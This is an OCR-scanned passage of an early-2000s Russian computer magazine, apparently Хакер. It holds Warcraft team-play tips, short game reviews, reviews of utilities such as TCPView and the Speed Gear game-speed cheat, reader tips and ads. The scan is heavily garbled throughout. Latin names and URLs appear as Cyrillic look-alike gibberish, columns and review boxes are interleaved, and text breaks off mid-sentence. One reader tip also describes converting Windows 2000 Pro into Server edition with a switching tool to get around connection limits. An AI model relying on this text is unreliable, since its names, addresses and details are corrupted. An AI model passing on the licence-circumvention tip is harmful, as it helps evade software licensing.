и разведай местность, далее тебе ос- 
тается лишь воспользоваться функци- 
ей «айаск дгоипсі», указывая ей место, 
где стоят башни. Кстати, для увеличе- 
ния и без того немаленького радиуса 
обзора эльфов можно подбежать под 
пушки и спрятаться, используя их 
стандартное умение «Иісіе». 

Советы по 
игре в Іеат-ріау 

Теат-ріау в ѴѴагсгай-е популярен не 
меньше, чем Іѵі . Очень многие счита- 
ют, что только в игре 2 на 2 можно про- 
явить всю гениальность своей стратеги- 
ческой мысли, но я их точку зрения не 



союзника - он обязательно поможет. А 
если тебя явно выносят или почти вы- 
несли, но шанс на победу у твоего со- 
юзника остается, то отдай ему все 
имеющиеся в твоем распоряжении 
деньги. Поверь, они ему понадобятся 
больше, чем тебе =). 

Не бойтесь действовать вместе, ведь 
даже в самом начале игры совмест- 
ными усилиями можно устроить от- 
личную охоту на «толстых» монстров 
и получить кучу денег и опыта. Спло- 
ченных действий можно достигнуть, 
используя специальные указатель на 
мини -карте. Нажав на иконку рядом с 
мини-картой или горячую клавишу 
аіі+д, ты сможешь делать пометки на 
мини-карте своему союзнику, обо- 
значая место, куда стоит нападать, 
отходить или которое стоит зачистить 
от крипов. ОЧЕНЬ удобная штука, 
учись ее использовать. 




разделяю, даже несмотря на то, что по- 
следнее время играл только в 2ѵ2. Кста- 
ти, именно в номинации 2ѵ2 наши рус- 
ские отцы старкрафта (и уже, вероятно, 
варкрафта) огкуАзтосІеу и огку.ЗоиІ за- 
няли первое место на официальном 
турнире, проводимом ВІігагсІ-ами по 
бета-версии ѴѴагсгай-а. Между прочим, 
8оиІ занял второе место на все том же 
турнире в номинации Іѵі , уступив в 
финале тоже старкрафтовскому папаш- 
ке ТіІІегМап-у, который частенько выкла- 
дывает свои отцовские реплеи на сайте 
своего клана (ѵѵѵш.йіеіпсіап.сот). 

Обязательно предоставляй союзнику 
право управлять твоими войсками 
(это делается в меню «Союзники»), 
он, в свою очередь, должен делать 
то же самое. Это очень важно, ведь 
уследить за всем иногда не удается, 
а союзник наверняка сможет заме- 
тить появившиеся оплошности. 




Если у тебя обрушилась шахта, а де- 
нег на новую нет, то попроси у своего 




Идти на быстрый левак в Іеат ріау-е 
или быстрый ІіИесІі - чаще всего са- 
моубийство (естественно, рассматри- 
вается случай поединка с игроками 
высокого уровня); если не снесут те- 
бя, то уж точно твоего союзника, кото- 
рому ты просто не сможешь помочь. 

Итого... 

Ну вот, пожалуй, и все. По крайней 
мере, все самое главное, что умести- 
лось на отведенных страницах, поэто- 
му на этом стоит остановиться. Оста- 
новиться мне, но не тебе. Проверяй в 
деле полученные знания, нарабатывай 
навыки, экспериментируй! А я напос- 
ледок посоветую тебе почитать стра- 
тегии на сайте 

ѵшд/.шгсгаМгаІеду.сот и посмотреть 
самые лучшие реплеи лучших игроков 
официального рейтинга с русскоязыч- 
ного сайта ѵѵагЗгерІауз.сот. 




і 
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Урожденная 



Описуха 



ПРИГОВОР 



'оночный симулятор 



Пожалуй, самый сильный на се- 
годня симулятор П . Настоя- 
щий, правильный сим со всеми 
фишками, настройками, статис- 





ЬД/Ѵ, ППС 7 І 

Тайкун с размахом и ірадицион- 

ной немецкой добротностью. 

Здесь тебя не ограничат произ- 
водством исключительно унита- 

хорошсГ 



"зов с подогревом -хочешь, кле- 

пай автомобили, хочешь, выжи- 
май соки или даже шеи одежду. 

Ты сам выбираешь отрасль раз- 
вития, но везде тебе придется 
сталкиваться с очень серьезной и 
разветвленной системой инфра- 
структуры, прямо как вТгапзроЛ 

Тусооп. Все сделано с умом, с 

душой и прямыми руками. 



тикой, графиками, фотография- 
ми реальных пилотов и т.д. Се- 
рьезная игра из серии «без ру- 
ля за меня не садись, поеду 
криво». Графика почти безу- 
пречна, физика полностью со- 
ответствует реальности, един- 
ственное, что подкачало - по- 
годные эффекты, все остальное 
просто супер. 




УТ ,тгт 



-тЯЧі 



ХОРОШО 



Урожде нная | 
Жанр 
Похожесть 



Теат Расіог 



командный ГР8 



Мать/отец 7ГХ/8іпдиІагііу Зо іШаге 

Требует Р2-300(РЗ - ; 

Групповуха ІЛЫ, Инет 



Описуха 



ПРИГОВОР 



Очередная потуга приблизить- 
ся к лаврам КС. Что имеем: три 
команды вместо двух (очень 
несбалансированная и непонят- 



ная система), наличие РПГ- 
шных статсов у игроков (сила, 
меткость и т.д.), которые абсо- 
лютно ни на что не влияют, 
бедные текстуры моделей иг- 
роков, неуязвимые стены (на 
которых не остается даже сле- 
дов от пуль) и почти нулевая 
играбельность. КС может спать 
спокойно. 



ЛАЖА 



Урожденная 



ТЬе Ыеѵегепсііпд Зіогу: Аигуп Оиезі 



Игровой процесс незамысловат: 
прыгаем по движущимся плат- 
формам через весь уровень за 
предметом А, потом сигаем об- 



I ратно за Б. Вариант - прогулки по 
доскам, висящим на высоте пти- 
чьего полета в стиле заправских 
канатоходцев. Как и полагается 
таким играм, свободное сохране- 
ние не предусмотрено. А сходст- 
во с фильмом, по мотивам кото- 
рого все это безобразие имеет 
место быть, ограничивается лишь 
названием. 




ПРИГОВОР 



Урожденная 



РеТепсІег о* №е Сгош: РідіІаІІу 
Ветазіегесі СоІІесІог’з ЕсИІіоп 



Суперстратегия, однозначно луч- 
шая в своем жанре. Включает эле- 
менты экономического менедж- 



I мента и даже аркады. Затягивает 
офигительно, графика - просто 
улет. Так говорили про эту игру в 
1986 году, когда она только появи- 
лась на свет. Седые ветераны-гей- 
меры, возможно, и прольют пару 
скупых слез ностальгии на диск с 
перерисованной версией мега-хи- 
та восьмидесятых, но новое поко- 
ление уже выбрало Рерзі... 



ПРИГОВОР 



74 Ньюсы 



Реррум 



РС 2опе 



Взлом 



Юниксоид 

















-ЭД-АХ? I 



Урожденн ая 
Жанр 
похожесть 
Мать/оте ц 
Требует 
Г рупповуха 



РРВ/зітиІаІог 
Оуешиоп маз/іроіпГ 
Воііетіа Іпіегасііѵе 
^Шо/Сос/ета.^гс: — 

Жмш'ннлка с довольно существе'? 

ными изменениями. Улучшен дви- 
жок, усложнены текстуры, добави- 



СРВДНЕ 



лись новые веды техники и воору." 
жения. Правда, ради этого при- 
шлось пожертвовать производи- 
гельностыо- реальные системные 
требования на порвдок выше заяв- 
ленных. Ну и очередная порция 
маразма про советское вторжение 
и успешную борьбу с ним партий 
ПОД нашим руководством прилага- 
ется в качестве сюжета кампании. 



Урожденная 


РеИа Рогсе: Тазк Рогсе Раддег 


рый всех доставал и раньше, 
теперь просто невыносим, а 

м-гп гѵтииир РЫЖИ- 


Жанр 


тактический і-нв 


Похожесть 


Оеііа Рогсе 1-2 


ВСе ПОТОМУ, ЧТО отныне во 1 ™ 1 

ІІІІ/П ЛТЛМЛПМТРО и Р — 


Мать/отец 


ІотЬіе ЗШІоз/Ыоѵаіодіс 


ванне напарника становится не 


Требует 


Р2-350ІРЗ-500), 64(128), 312 


обходимым условием прохож 
дения миссии. А это значит, что 


Групповуха 


МЛ/, Инет ^ 


Описуха | 


Абсолютно бездарный асю-оп, 
действие которого происходит, 
согласно модным веяниям, в 
Афганистане. Кривой АІ, кото- 


главный ооіеспѵе теперь иудо 
звучать так: «защитить тупого 
камикадзе от заслуженной пули 
в лоб». 


| ПРИГОВОР 


| СЛАБО 



Урожденная 



Групповуха 



ВТ5 



ЗіагсгаЙ - 

ІпіегасИѵе ІгіеазМоѵтах Епіегіаіптепі 



РР-ЗОО(РЗ-бОО), 64(128) 



\М, Инет 

Корейский ответ Старкрафту.^ 
Даже не ответ, а эхо. Отличий 
от уже устаревшего хита 
ВІіігагб нет вообще. То есть аб- 



ПРИГОВОР 



)жденная 



Випаѵѵау: А Коасі Агіѵептиге 



сожесть 

ть/отеіГ 



Ъ^іопаезЦтт^ - нгокеті ои»Т 

- Рѵплйо Щоз/ ^сюбирМ 

""по ОЛЛ/ПОЫІ/)) ЯР (64) ___ 



пповуха 

исуха 



ГПЮГ"' 

ш-зооірз-ыюіТ^^І 

Г Обло мись _ 

ГКлассическии рисевдниыи кюст 



[Классический рисованный 
изумительной графикой. Техноло^ 
гия движка позволяет трехмерно 

картинке в разрешении Ю24х7ЬВ 



выглядеть как очень плавное и 
четкое рисованное изображение. 

Каноны жанра соблюдены во 

всем: тут и детективный сюжет, и 
неизлечимый пиксель-хантинг, и 

головоломки -иногда остроум- 
ные и тонкие, а иногда не совсем 

логичные. Классика жанра со все 
ми его достоинствами и недо- 
статками. 



хорошо 



Урожденная 


ЕигойдМег ТурЬооп: 
Орегаііоп ІсеЬгеакег 


Жанр 


авиасим 


Похожесть 


ЕигоН'дГііег Турііооп 


Мать/отец 


Оідііаі Ітаде Оезідп/Раде ЗоЙѵѵаге 


Требует 


Р266(Р2-300), 32(64), 30 


Групповуха 


И нет 


Описуха 


1 Іродолжатель идей незабвенного 
Реталятора, этот аркадный сим 
отличается кривоватой физикой, 



тупыми заданиями (в этом адд- 
оне они хоть и не динамические, 
но лучше от этого не стали) и от- 
кровенно отсталой графикой. За 
год, прошедший с момента выхо- 
да оригинала, никаких подвижек 
в лучшую сторону не произошло, 
поэтому то, что тогда было серой 
посредственностью, сейчас не 
назовешь иначе как халтура. 



і 




I 1 




солютно. Придумай для трех 
рас новые названия, сочини 
чуть отличающуюся историю и 
нарисуй чуть другие юниты. 

Все, ты имеешь полное пред- 
ставление об Аігох. Графика та 
же, геймплей тот же, вот только 
ощущения не те. Да и популяр- 
ности ЗІагсгаП корейскому кло- 
ну не скопировать. 








V 



Х-Стиль 



Кодинг 



.ІоуѲНск Юниты 



№ХТ 















иоцЗНск 



ЗАЛ СУДА 



Александр 2роІ50п§' Сидоровский 
<2роІ50п$@геаІ. хакер. ш> 




Жанр 
похожесть 
Мать/отец 



ТРЗ 

ыодо, Зіаѵе ?его~ 

Гіоигаріі ШзёжЩім Оаігю 

■ Шегіаіптеп! 

ЩШ ) Ж 

■ Обломись ~ — 

рниме-стрелшжа про футуристи- - 
Ьеских самураев, которы^таі 
Г на Роботах и отс треливают не- 



1 




Урожденная 

Жанр 


аркадные 


Похожесть 


шоре Насег, І13 Насег 


Мать/отец 


иаѵііех/Кос/і Медіа 


Требует 


Р2-3501РЗ-700), 64(128), 30 


Групповуха 


горячий стул 


Описуха 


Не успели мы забыть отстойный 
1)5 Насег, как нам скармливают 
ЭТИ ЖЕ уровни под другим на- 
званием. Да, сначала нам дадут 


1 ПРИГОВОР 


СРЕДНЕ | 



хороших людей, существ и меха' 

низмы. Набор оружия удручает 
уровни однообразные доотупе- 
ния , а теимплей линейный, как 
Рельса. Сюжет, понятное дело 

глубоко шизофреничен (как же 
иначе, это ж аниме), но если ты 
всегда мечтал сплотить мировое 

сообщество под властью сегуна 
то это твой шанс. 



покататься по Лондону, пару раз 
прошвырнуться вдоль Темзы. 
Покажут и Эдинбург. Но потом 
нас сажают в самолет (!) и отво- 
зят в родную Америку, где 
предлагают снова сыграть в... 
да, тот самый 1)5 Насег. Изме- 
нений в игре - ноль. Аркадная 
физика, слабая графика... В ду- 
хе традиций. 










Урожденная 


А.К.8.Е.М.А.І.. «Ехіепбеб Роѵѵег» | 


Жанр 


НТВ 


Похожесть 


С&С 


Мать/отец 


ТасіісаІ Зой 


Требует 


Р100(Р2-266). 16(32) 


Групповуха 


В ассортименте 


Описуха 


Архаичная стратегия на тему вто- 
рой мировой войны с нескольки- 
ми «нетрадиционными» фишками 
вроде роста опыта юнитов и аль- 



тер-эго самого игрока. Нетради- 
ционными они могут считаться 
только по тем, архаичным мер- 
кам, но если не считать и их, то в 
игре вообще нет ничего приме- 
чательного. Двухмерная отталки- 
вающая графика, стандартный 
игровой процесс, разве что сбор 
ресурсов реализован чуть по- 
другому. 



ПРИГОВОР 



СЛАБО 




Урожденная 



Жанр 



Похожесть 

Мать/отец 



Требует 



Групповуха 



$ирег Него ВазкеіЬаІІ 



баскетбол 



ИВА І_іѵе 2000 



МиШтебіа батез, ИС/ЕагЬазе 
Іпіегасііѵе 



Р2-30(РЗ-800), 64(128), ЗР 



горячий стул 



Описуха | Некая помесь ИВА и Моііаі 

КотЬаІ Вначале выбираешь ге- 
роя, которым будешь играть 

■ііЛІШіМ ЛАЖА 



(матчи проводятся в режиме 
«один на один»), и понеслось... У 
каждого игрока есть специальные 
возможности, приемы и даже 
комбы. Один сигает как кенгуру 
через всю площадку, второй ша- 
ровыми молниями кидается и т.д. 
Прикольная идея, очень жаль, что 
реализована на уровне игр нача- 
ла 90-х. В итоге - отстой. 





'іі „ 




0 



76 Ньюсы 



Террум 



РС 2опе 



Взлом 



Юниксоид 
















ЖУРНАЛ 




ВСЕ ОСТАЛЬНОЕ - ОТСТОЙ 







товар сертифицирован 









Прежде чем побриться, 
присмотрись к своему лицу - 

что нужно твоей коже? 

Хорошая бритва - это еще 
не все. Поэтому ОіІІеі+е 
предлагает пену для бритья 
с улучшенной формулой 
СотЬэг* Оіісіе. 

Ведь ты же хочешь 
бриться с комфортом? 

Да у тебя это на лице написаноі 



Защита Лимонная Ментоловая Регулярная Увлажняющая ^ ВСТ кожа 1ЬНа 




3 


Взлом 


4 


Юниксоид 










ОіПеНе 




О ІІІеНе 



ЗІаІот 

I ^ 



очешьн 
Іовы все 



Рекомендуемая розничная цена - 67 рублей 



5 плюсов 

біііеііе ЗІаІот РІо$: 

• двойное лезвие 

• плавающая головка 

• смазывающая полоска 

• удобная ручка 

• доступная цена* 



№ 



11 % 




Лучше для Мужчины нет 





ШароѴѴАВЕ2 

;;; ІУІ.ѵІ.АзЬ (ѵѵѵѵѵу.хкпоѵуз.сот, т.і.а5Іі@геаІ. хакер. ш) 



30 Апітаіесі ѴѴаІІрарег 1 . 1 





# 2 • ѴѴіпсІоѵѵз 9х/Ме/МТ/2к/ХР 

••• 5і2е: 13539 КЬ 

• • 

• • ЗІіагеѵѵаге 

• • 

• • ІіИр://ѵѵѵѵѵѵ.ЗсІапіта1есІѵѵаІІрарег.сот 



Универсальное средство для «оживления» сіезкіор’а четырьмя различными спо- 
собами. Первый способ - классический. Смена фоновых картинок с заданной 
частотой. Способ номер два: проигрывание на заднем плане видеофайла. Со 
звуком или без (иконки поверх какого-нибудь блокбастера смотрятся забавно:). 
Третий способ - запуск выбранного скринсейвера в фоновом режиме. Срабаты- 
вает не со всеми хранителями экрана, но со многими. Особенно эффектно смо- 
трятся в качестве обоев скринсейверы на тему Матрицы, рекомендую. Ну и, на- 
конец, способ номер четыре: «оживление» Рабочего стола с помощью одной из 
встроенных в программу анимаций. Эксклюзивная фишка, наличие которой оп- 
равдывает шароварность программы, т.е. желание разработчиков содрать с 
пользователя денег. Впрочем, если ты хотя бы слегка разбираешься в интер- 
фейсе Асііѵе йезкіор, то ты сможешь запускать приглянувшиеся тебе анимации 
и по истечении испытательного десятидневного срока. А что-нибудь тебе навер- 
няка понравится: в комплекте 30 Апітаіесі ѴѴаІІрарег идет более двух десятков 
различных эффектов (от огненного фонтана до трехмерной модели Земли). 
Кстати, именно они придают дистрибутиву программы столь внушительный вес. 

Резюме: посмотреть на 30 Апітаіесі ѴѴаІІрарег стоит, но вот выкачать ее по 
сііаі-ир’у довольно утомительно. Отсюда мораль: если И-нету тебя не халявный, 
то всегда покупай «Хакер» с СО! :) 






Мг х I 

х V 



4 і * 

ш ^ | 

№4 



СІага V 2.05 

ѴѴіпсІоѵѵз МТ/2к/ХР 
; Зііе: 1 995 КЬ 
Ргееѵѵаге 

1 ІіНр://ѵѵѵѵѵѵ.зраііаІкпоѵѵІесІде.сот/ргоіесіз/сІага 





ТСРѴіеѵѵ ѵ 2.2 




Совершенно безумный 
30-браузер, предлагаю- 
щий юзеру летать между 
веб-страничками в осо- 
бом белом (бесконеч- 
ном?) виртуальном про- 
странстве. Управление 
полетом осуществляется 
мышкой или с клавиату- 
ры. Переключение меж- 
ду сайтами превращает- 
ся в настоящее приклю- 



должен сориентировать- ж 

ся, прикинуть курс, про- I Ш 

извести «пилотирова- 
ние»... Короче, полный 
бред, аналогичный тому, 
что показывают в филь- 
мах «про хакеров», когда для перехода из одного каталога в другой главный герой 
вынужден долго путешествовать по «информационным магистралями» среди не- 
боскребов баз данных, уворачиваясь от антивирусов и встречных дейтаграмм. К 
счастью для тех, у кого подобные фильмы ничего, кроме ехидной усмешки, не вы- 
зывают, в бродилке предусмотрены альтернативные методы навигации: быст- 
рый, но плавный переход с сайта на сайт по СігІ+І.еіІ (СПІ+ВідМ) или по двойно- 
му клику мышкой, а также резкое переключение на общий план нажатием кнопки 
«Ноте» в адресной строке. А это уже интересно! 

Помимо продвинутых юзеров, следящих за развитием технологии 30-интер- 
фейса, на данный браузер, думаю, любопытно будет взглянуть ѴВІѴП-программи- 
стам. Описание «мира» СІаг’ы и отдельных его элементов хранится в ѵѵгі-файлах, 
доступных для редактирования, так что люди, знакомые с языком моделирования 
виртуальной реальности, могут без труда замутить на основе этой проги что-ни- 
будь эдакое глобальное. 



ііііііііііііііііііііі 



1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 



• • • • 

•• • ѴѴіпсІоѵѵз 9х/Ме/ІМТ/2к/ХР 

• • • Зі 2 е: 38 КЬ 

• • • • 
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Веб-страничка 
открыта, почта 
получена, за- 
грузка файлов 
прекращена, 
однако индика- 
тор сетевого 
соединения не- 
двусмысленно 
показывает, что 
твой компьютер 
продолжает с 




обмениваться 
данными. Что? 

С кем?!! Сразу же возникают разные нехорошие предположения, начина- 
ешь жалеть, что в свое время ты, как и большинство обычных пользовате- 
лей, посчитал установку брандмауэра ненужной тратой системных ресур- 
сов... Хе-хе... Знакомая ситуация, не правда ли? И ведь пока не опреде- 
лишь, какое приложение оказалось таким разговорчивым, спокойной 
жизни тебе не видать! Но как быть, если ставить брандмауэр и перегру- 
жаться как-то не хочется, а утилита пеізіаі из стандартной поставки 
ѴѴіпсІоѵѵз полной информации не дает. Выход один - надо срочно скачи- 
вать ТСРѴіеѵѵ, крохотный монитор сетевых соединений, не требующий ус- 
тановки. Не так давно появилась новая версия этой замечательной про- 
граммы. Теперь она выводит не только список всех открытых ТСР/ ІЮР- 
портов в системе, адреса и состояние ТСР подключений, но сообщает, ка- 
кой процесс какой порт открыл. А ведь это как раз то, что доктор пропи- 
сал! Тем более, что любое подозрительное соединение можно прямо из 
ТСРѴіеѵѵ немедленно разорвать, а происхождение любого подозрительно- 
го процесса - проследить (т.е. узнать, откуда он был запущен). В крайнем 
случае, процесс, в отношении которого тебя терзают смутные сомнения, 
разрешается просто взять и грохнуть. Короче говоря, ТСРѴіеѵѵ - это такая 
«полезняшка», которую всегда хорошо иметь под рукой... если, конечно, 
ты и дальше намерен лазать в Сеть без нормального персонального сете- 
вого экрана :). 




80 Ньюсы 



Реррум 



сопя 



Взлом 



Юниксоид 













I 



ЗреесІ 
Ѳеаг ѵ 2.0 
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• • Зііе: 547 КЬ 

! Ргееѵѵаге 
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Прикольная утилита 
для изменения скоро- 
сти работы приложе- 
ний - полезное приоб- 
ретение для людей, 
которые не любят 
проигрывать, а пото- 
му не возражают про- 
тив небольшого жуль- 
ничества. Работает 
программа просто, но 
эффективно. Допус- 
тим, ты играешь в ЗР- 
шутер, и какой-ни- 
будь монстр раз за 
разом отрывает тебе 
башку раньше, чем ты 
успеваешь прице- 
литься. Ок! Запуска- 
ешь ЗреесІ Сеаг в фоновом режиме, загружаешь игру и в нужный момент 
нажимаешь на «горячую» клавишу - твой противник сразу же начинает 
двигаться медленно-медленно. Ты делаешь из него отбивную, после че- 
го восстанавливаешь нормальное течение времени с помощью другой 
«горячей» клавиши. Тут стоит отметить, что «горячие» клавиши для 
мгновенного переключения скорости работы приложений пользователь 
ЗреесІ Сеаг задает самостоятельно. По умолчанию работают лишь ком- 
бинации С!гі+АІ!+ІІр и СІгІ+АІІ+Роѵѵп, позволяющие плавно замед- 
лять/ускорять игровой процесс. 

Утилита благополучно прошла боевое крещение: заставила 
мурхунов из культовой игры МоогМиііп ѴѴіп!ег-Есіі!іоп летать по экрану 
настолько неторопливо, что свой собственный «честный» рекорд я пре- 
взошел играючи. Программа нормально функционирует под всеми вер- 
сиями окошек, но больше тридцати запусков условно-бесплатная вер- 



•;і Тех! Зро!ІідГі! ѵ 2.0 



II т ѴѴіпсІоѵѵз 9х/Ме/МТ/2к/ХР 
• # 2 Зііе: 1 683 КЬ 
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ТПІСН 



Привет нуждающимся в доб- 
рых советах. 

В ИТ подобных системах уров- 
ня меньше Зегѵег есть одно не- 
приятное ограничение. При 
обращении через сеть к откры- 
тому на машине ресурсу стоит 
ограничение на 10 человек од- 
новременно. И количество от- 
крытых через сеть файлов тоже 
ограниченно. Это была прелю- 
дия. Столкнулся с проблемой. 
Сетевая 1С обращалась к ба- 
зам расположенным на 
ѴѴіп2000 Ргоі. Всё шло замеча- 



тельно. Но штат бухгалтеров 
вырос и начались проблемы с 
доступом. Переустанавливать 
операционку на что-то с помет- 
кой Зегѵег возможности не бы- 
ло. Воспользовался программ- 
кой ІМТЗѵѵісіі для превращения 
ѴѴіп2000 РгоТ в \А/іп2000 Зегѵег. 
И проблему решил и время сэ- 
кономил. Она также действует 
и на ХР превращая его в ѴѴізІІег 
Зегѵег. Может кому и поможет. 



ВгеакѴѴаіег 

ВгеакШег@таіІ.ги 




Утонченность + совершенство = (притяжение ) 2 



Оригинальная система выде- 
ления ключевых слов, на фоне 
которой стандартная функция ШШ 
«Поиск по тексту» выглядит 
атавизмом. Тех! $ро!Іідіі! ра- 
ботает со всеми приложения- 
ми ѴѴіпсІоѵѵз, поэтому заданные 
тобой слова или фразы сразу 
будут подсвечиваться во всех 
открытых на экране окнах, 
включая окна любых браузе- 
ров, почтовых клиентов и текс- 
товых редакторов. Ха, да что 
там говорить! Тех! 5ро!ІідН! - 
система настолько мощная, 

что она находит и отмечает ключевые слова даже в интерфейсе программ (не веришь 
- посмотри на скриншот! :). При этом юзать ее одно удовольствие: для быстрого вво- 
да ключевых слов служит окошко, возникающее при нажатии С!г1+$Ы!!+С|, а по 
С!гІ+5ііі!Н-Р открывается полноценный менеджер выделяемых строк. Это вообще от- 
дельная песня! К примеру, с его помощью можно загнать в Тех! $ро!Іідіі! целый список 
терминов и названий, на которые ты в первую очередь обращаешь внимание, путеше- 
ствуя по Сети. И тогда сообщение на интересующую тебя тему не затеряется даже в 
самом длинном списке новостей! В особенности если учесть, что ключевые слова, 
принадлежащие разным темам, могут подсвечиваться разными цветами. 

Ну и самое главное: под 2000-ми Виндами (под 9х не проверял) эта 
шиз! Наѵе’ная прога не испытывала никаких проблем с русским языком. Так что ее 
единственный серьезный недостаток это шароварность. И я очень надеюсь, что он 
лечится, поскольку на моей машине Тех! $ро!ІідІі! уже добавлена в автозагрузку :). 




С первого взгляда они привлекут Вас своей изящностью. Затем Вам откроется их 
совершенство. ЖК-мониторы ВепО - это воплощение лучших достижений в 
областях дисплейных и мультимедийных технологий. Высокие уровни яркости и 
контрастности лежат в основе кристально чистых и реалистичных цветов. 
Широкий угол обзора и автоматическая настройка 
изображения позволят Вам полностью погрузиться 
в мир виртуальной реальности. Красота. Соблазн. 

Притяжение. С ВепО Вам откроются все яркие ІІІ 

стороны жизни. Жизни, где удовольствие имеет 



Хотите узнать больше? Посетите наш Интернет сайт 
ѵѵѵѵѵѵ.ВепО.ги 



Епрутепі Маііегз 



Оптовые продажи: 

СіЬіІіпк: (095) 745-2999, ѵѵѵѵѵѵ.сіъіііпк.ги; ЕІзіе: (095) 777-9779, ѵѵѵѵѵѵ.еізіе.ги; 
Ноітгоск: (0112) 593-459, ѵѵѵѵѵѵ.ИоІтгоск.ги; 1_апск С&Т: (095) 234-0012, (812) 
325-6666, ѵѵѵѵѵѵ.Іапск.ги; ЫгагсІ: (095) 799-5398, ѵѵѵѵѵѵ.Іігагсі.ги; Деникин: (095) 
787-4999, ѵѵѵѵѵѵ.сіепікіп.ги; Р. и К.: (095) 956-7752, ѵѵѵѵѵѵ.г-апсі-к.сот; СЛЕДопыт: 
(095) 787-5535, ѵѵѵѵѵѵ.зІесіорі!:.ги 

Информация о розничных продажах доступна на ѵѵѵшлі.ВепО.ги 
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ѴѴіпсІоѵѵз 9х/Ме/МТ/2к/ХР 
5іге: 539 КЬ 
Ргееѵѵаге 

МІр://ттеІго.аІ.ги 



Симпатичная программа, помогающая выбрать оптималь- 
ный маршрут движения от одной станции метро до другой. 

Кликами по схеме ты указываешь станцию отправления и 
станцию прибытия и тут же получаешь несколько различных 
вариантов проезда с указанием времени поездки и количе- 
ства пересадок. При подсчете времени проезда учитывают- 
ся такие параметры, как время суток, время ожидания по- 
езда на станциях и время пересадок с линии на линию. То 
есть продолжительность поездки рассчитывается достаточ- 
но точно, хотя автор допускает, что реальное время может 
отличаться от расчетного на 3 минуты днем и на 6 минут но- 
чью. Заинтересовавший тебя маршрут одним щелчком гра- 
фически показывается на схеме метрополитена. 

В ММеІго изначально заложена возможность работы с различными городами. Для этого требуется 
только наличие в каталоге программы соответствующего файла данных. На сегодняшний день сущест- 
вуют файлы данных для Москвы, Киева и Харькова. А вот файла для моего родного Питера нет. Жаль, 
поскольку прога действительно славная. 





Последняя бесплатная версия мощного инструмента для авто- 
матического составления классических кроссвордов. Софт, ко- 
нечно, специфический, однако повозиться с ним порой инте- 
ресно. Кроме того, Кроссворд можно скачать и так, на всякий 
случай, - по своему опыту я знаю, что проги подобного рода не- 
долго остаются бесплатными. Так почему бы и не взять, пока 
дают на халяву? Тем более, что софтинка, как я уже говорил, 
мощная: размер сетки кроссворда может достигать 47 клеток 
по горизонтали и 37 клеток по вертикали, при составлении 
кроссворда разрешается использовать до десяти словарей, 
каждый из которых легко пополняется новыми словами. В этой 
версии Кроссворда в словари уже забито около четырех тысяч 
слов. Хотя далеко не предел, поскольку один словарь в прин- 
ципе способен вместить около 65 тысяч слов. Ясное дело, и 
словари, и интерфейс программы - русские. 

Работа с Кроссвордом проста и интуитивно понят- 
на. По большому счету пользователю требуется только выбрать 
необходимые словари и нажать кнопку «Создать» - все осталь- 
ное программа сделает самостоятельно :). Для составления 
кроссворда можно использовать как уже готовые сетки, так и 
нарисованные тобой во встроенном редакторе. После состав- 
ления кроссворда (заполнения решетки словами) конечный ре- 
зультат сохраняется в виде файла или распечатывается на 
принтере в нужном формате (с решением или без :). 
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Часто играешь в СЗІгіке ? 
Наверно уже давно заметил, 
что у снайперш в обычном 
режиме (без увеличения) нет 
перекрестия посередине 
экрана? Это не есть хорошо, 
это есть плохо. Значит надо 
это исправить. А исправить 
это совсем просто: для этого 
тебе даже не придется 
выходить из игры. Выбери 
любое оружие, у которого 
перекрестие есть, и просто 
обведи его маркером прямо 
на экране монитора. Все. 
Теперь ты будешь валить 



врагов табунами, при этом 
не сужая зоны видимости. 
Маркер постарайся найти 
перманентный, чтобы он не 
стерся впервые же секунды. 
По окончанию маркер сотри. 
Способ отлично действует 
на чем пах. Просто когда на 
тебя будет направлено мало 
внимания тыкни маркером в 
экран. Только это еще не 
все, по окончанию маркер 
надо умудрится еще и 
стереть :). 

сІіаЫо сІіаЫо(д)аікпеі.ги 
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Видел программу Ѳгеаііз Согпегз? Описанную в 
Хакере за апрель 2000: 

"Эта прога делает "активными" углы твоего экрана. 
Активный угол отличается от обычного, пассивного, 
угла тем, что когда его посещает указатель мыши, 
он "срабатывает" совершает какое-нибудь 
закрепленное за ним действие. Ну, к примеру, 
выдает симпатичную менюшку. Я потратил пару 
минут на предварительную настройку Сгеаііз Сотегз 
и разложил все по полочкам. В одно меню я собрал 
все проги для работы в Интернет, в другое - все 
необходимое для работы с графикой, третье меню 
набил словарями и текстовыми редакторами." 



Так вот, необязательно скачивать и ставить этот 
продукт забугорной мысли. Нужно 
всего лишь создать папку с именем Сатез, допустим 
на Рабочем столе. Открыть её. В открытом окне 
создать ярлыки на все имеющиеся игры. Теперь 
закрой окно и перетащи мышкой значок папки к краю 
рабочего стола пока он не превратиться в панельку. 
Теперь кликни на панельку левой кнопой твоей мыши 
и повелевай ею на своё усмотрение. Такую панель 
можно создать с любой стороны экрана или на всех 
сразу. 



і теетап 1геетап@изегИпе.ги 










ОіЛсІоог РоосІ ВаЛоп 
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ѴѴіпсІоѵѵз 9х/Ме/МТ/2к/ХР 
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Программа - калькулятор рационов. Она серьезно облетает составление продовольственных раскла- 
док для туристских путешествий - от среднесуточных рационов до подробного меню на каждый день. И 
в том и в другом случае ты составляешь раскладку, просто выбирая из справочника необходимые про- 
дукты или блюда. Справочники текущей версии включают свыше 200 наименований съестного. При 
этом ОігМоог РоосІ ПаЛоп Саісиіаіог позволяет легко контролировать основные характеристики (кало- 
рийность, вес, соотношение белков/жиров/углеводов, растительных и животных компонентов) состав- 
ляемой раскладки. Оценка осуществляется применительно к конкретному виду туризма и категории 
сложности путешествия. По разработанному меню программа автоматически генерирует списки про- 
дуктов на каждый день и на весь поход. Вооружившись подобным списком (само собой, программа 
поддерживает вывод на принтер), можно смело идти в магазин за покупками. Так уж получилось, что 
работу ОігМоог РоосІ Ваііоп Саісиіаіог мне довелось проверить на себе. Эго произошло, когда моя де- 



вушка уехала на целый месяц. На третий день 
после ее отъезда холодильник опустел, и я ре- 
шил пополнитъ запасы провизии. Чтобы лиш- 
ний раз не бегать (ненавижу ходитъ за продук- 
тами!), я купил все за один раз. Для этого в 
ОиИоог РоосІ Вабоп СаІсиІаЬг’е я выбрал одну 
из проверенных временем стандартных рас- 
кладок и выяснил, сколько чего надо взятъ че- 
ловеку, чтобы не умереть с голоду в течение 
тридцати дней... И, как видишь, я выжил!.. Хо- 
тя не скажу, что эти тридцать дней были сами- 
ми приятными в моей жизни :). 





АНДОРРА 
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Браузер для скрытного веб-серфинга - одно из самых гениальных изобретений 
последнего времени. Установив на свою машину эту прогу, можно спокойно 
ползать по Сети в рабочее время. Нахально, в открытую, не вздрагивая от лю- 
бого шума и не реагируя на приближение начальства лихорадочным закрытием 
